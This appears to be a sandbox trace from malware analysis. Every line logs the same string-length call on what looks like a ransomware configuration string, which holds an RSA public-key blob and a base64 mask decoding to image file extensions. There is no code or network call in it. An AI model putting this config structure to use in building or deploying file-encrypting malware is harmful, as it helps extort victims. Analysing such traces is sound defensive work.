	[0090.399] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.399] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
	[0090.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDNhUFjfw6R4wNVnLbxiFLMYJRs1qqQffnBVlR8ekrnCanwQvRsmlodaImSNeMcW3adB1EfXApYA8VPrfpM5SOpT45U+duue+mW0fEc7SoFneRaupmxYucCud5SDZlZveOLebWQR/EXRvDQHUSyo/oXQdbee1dB3f5K8WMe8i+BVu4XBWS6udvYTTTwmYaOeWKNNcf1+JNLct8rjGxRCJ1z1Z0gWJx793TT/GWt5SEM9Z15SUbTJ3a/tQDlRgvoPhtnakI4qKNi9w/N4WfVkOZUhlXTLfQvemLViiHVNp5mGM1OuzqG9ejNTrn/0v4+nN7jbqXa6/DYatFXocU7QnWJ}{mask=LmdpZiwuanBnLC5qcGVn}") returned 413
